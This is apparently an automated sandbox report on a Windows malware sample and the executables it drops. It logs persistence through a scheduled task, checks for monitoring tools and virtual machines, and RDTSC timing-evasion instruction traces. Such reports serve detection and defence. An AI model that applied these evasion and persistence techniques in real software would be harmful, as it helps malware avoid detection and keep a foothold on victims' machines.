Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9C55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E03E5 second address: 8E03E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E03E9 second address: 8DFC9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FDA10EF18A1h 0x0000000d nop 0x0000000e pushad 0x0000000f mov si, 13DAh 0x00000013 mov ebx, dword ptr [ebp+122D39C3h] 0x00000019 popad 0x0000001a push dword ptr [ebp+122D0F4Dh] 0x00000020 jng 00007FDA10EF1897h 0x00000026 clc 0x00000027 jmp 00007FDA10EF189Ch 0x0000002c call dword ptr [ebp+122D33D8h] 0x00000032 pushad 0x00000033 xor dword ptr [ebp+122D1CC0h], esi 0x00000039 xor eax, eax 0x0000003b ja 00007FDA10EF189Ch 0x00000041 mov dword ptr [ebp+122D1CC0h], ebx 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b jns 00007FDA10EF18A3h 0x00000051 mov dword ptr [ebp+122D3B73h], eax 0x00000057 jmp 00007FDA10EF18A9h 0x0000005c mov esi, 0000003Ch 0x00000061 clc 0x00000062 add esi, dword ptr [esp+24h] 0x00000066 cmc 0x00000067 lodsw 0x00000069 clc 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e cld 0x0000006f mov dword ptr [ebp+122D2BF0h], esi 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 pushad 0x0000007a mov dword ptr [ebp+122D1CC0h], edi 0x00000080 sub dword ptr [ebp+122D1CC0h], ecx 0x00000086 popad 0x00000087 push eax 0x00000088 push ebx 0x00000089 push edi 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5862A second address: A58641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FDA10746806h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58A6B second address: A58A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF189Fh 0x00000009 jnl 00007FDA10EF1896h 0x0000000f popad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58A8A second address: A58A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58D25 second address: A58D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDA10EF1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58D2F second address: A58D67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FDA10746815h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007FDA10746806h 0x00000012 jmp 00007FDA10746813h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58D67 second address: A58D87 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDA10EF1898h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FDA10EF18AAh 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007FDA10EF1896h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58EB7 second address: A58EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58EBB second address: A58EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B64F second address: A5B653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B70E second address: A5B72A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B72A second address: A5B731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B731 second address: A5B738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B738 second address: A5B746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B746 second address: A5B74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B74A second address: A5B77F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746818h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnp 00007FDA10746806h 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007FDA10746808h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B77F second address: A5B785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B785 second address: A5B789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B789 second address: A5B78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B8DD second address: A5B91B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDA10746816h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 0EC71B34h 0x00000012 mov si, ax 0x00000015 lea ebx, dword ptr [ebp+1244F4E5h] 0x0000001b xchg eax, ebx 0x0000001c jmp 00007FDA1074680Bh 0x00000021 push eax 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B91B second address: A5B91F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BA69 second address: A5BA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BA6D second address: A5BACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDA10EF18A7h 0x0000000b popad 0x0000000c xor dword ptr [esp], 7EDE39F3h 0x00000013 lea ebx, dword ptr [ebp+1244F4F0h] 0x00000019 jne 00007FDA10EF189Ch 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FDA10EF189Fh 0x00000028 jmp 00007FDA10EF18A2h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BACA second address: A5BAD9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BAD9 second address: A5BADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BADD second address: A5BAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BAE1 second address: A5BAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C5C3 second address: A7C5D4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA10746806h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50A3D second address: A50A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FDA10EF1896h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 js 00007FDA10EF1896h 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop ebx 0x0000001a push eax 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A661 second address: A7A6AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jno 00007FDA10746806h 0x00000010 jmp 00007FDA10746810h 0x00000015 pop edx 0x00000016 pushad 0x00000017 jmp 00007FDA10746816h 0x0000001c jbe 00007FDA10746806h 0x00000022 jmp 00007FDA1074680Dh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A6AE second address: A7A6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A6B9 second address: A7A6D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746816h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7A94C second address: A7A952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AEB5 second address: A7AED6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746811h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FDA10746806h 0x0000000f jg 00007FDA10746806h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B591 second address: A7B59A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B59A second address: A7B5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71C6A second address: A71C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDA10EF189Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A465AC second address: A465B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA10746806h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A465B8 second address: A465D4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDA10EF189Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c jo 00007FDA10EF1896h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BEB2 second address: A7BEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BEB6 second address: A7BEBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BEBA second address: A7BEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDA10746817h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C04D second address: A7C053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C053 second address: A7C057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C1BC second address: A7C1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF18A0h 0x00000009 pop edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c je 00007FDA10EF1898h 0x00000012 jmp 00007FDA10EF189Dh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E842 second address: A7E846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80B43 second address: A80B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FDA10EF18A9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80B67 second address: A80B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FD61 second address: A7FD65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80EED second address: A80EF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A876F9 second address: A87707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87707 second address: A8770B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8770B second address: A8772F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jno 00007FDA10EF189Ch 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8772F second address: A87735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86E28 second address: A86E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF18A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86F8F second address: A86F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86F94 second address: A86F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87252 second address: A8726E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746816h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8958E second address: A89592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8983B second address: A89840 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89EC7 second address: A89EE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA10EF18A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A383 second address: A8A387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A387 second address: A8A38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A38D second address: A8A3CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007FDA10746817h 0x00000011 push eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDA10746814h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A89D second address: A8A8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FDA10EF1896h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B0CA second address: A8B0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C30D second address: A8C317 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C317 second address: A8C31E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
